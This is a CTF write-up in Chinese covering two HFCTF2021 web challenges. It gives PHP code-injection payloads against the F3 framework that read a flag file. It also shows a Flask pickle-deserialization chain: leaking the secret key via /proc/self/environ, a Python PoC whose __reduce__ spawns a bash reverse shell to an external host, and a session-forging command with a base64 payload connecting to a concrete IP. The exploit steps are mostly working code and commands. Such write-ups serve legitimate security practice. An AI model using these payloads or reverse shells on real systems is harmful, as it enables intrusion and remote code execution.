HFCTF2021复现

[HFCTF2021 Quals]Unsetme

1、F3框架，unset将参数a拼接进去，可以闭合

2、测试

​ payload

?a=a%0a);%0aphpinfo(

3、读取flag

?a=a%0a);%0aecho file_get_contents(%27/flag%27

[HFCTF 2021 Final]easyflask

1、源码，很明显的pickle反序列化

pickle官方文档

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

2、读取secret_key

在/proc/self/environ下读取

/file?file=/proc/self/environ

3、利用反序列化与伪造session

构造反序列化poc,注意要在linux系统下运行，因为pickle在windows和linux下生成的序列化字符不一样

import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'tyskill',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

伪造session，用flask_session_cookie_manager

python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNC4yMjIuMTcwLjI0MS84ODg4IDA+JjEnIgpwMQp0cDIKUnAzCi4='}}"